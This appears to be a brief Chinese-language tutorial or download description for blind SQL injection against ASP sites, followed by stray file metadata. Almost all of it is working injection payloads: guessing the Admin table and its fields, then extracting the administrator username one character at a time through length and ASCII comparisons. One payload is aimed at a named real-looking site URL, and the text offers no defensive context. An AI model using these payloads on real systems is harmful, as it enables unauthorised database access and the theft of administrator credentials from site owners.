本程序依据说明书
1.猜测表名:ID=49 And (Select Count(*) from Admin)>=0 //*如果为真,则出现值
2.猜测字段名:ID=49 And (Select Count(user) from Admin)>=0 //若为真,则有user字段
3.猜字段值:
(1)最常用的方法-Ascii逐字 :
http://www.19cn.com/showdetail.asp?id=49and (select top 1 len(username) from
Admin)>0
如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条
件不成立为止,比如>7成立,>8不成立,就是len(username)=8
4.用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间。
2021-11-15 13:01:49
48KB
php
1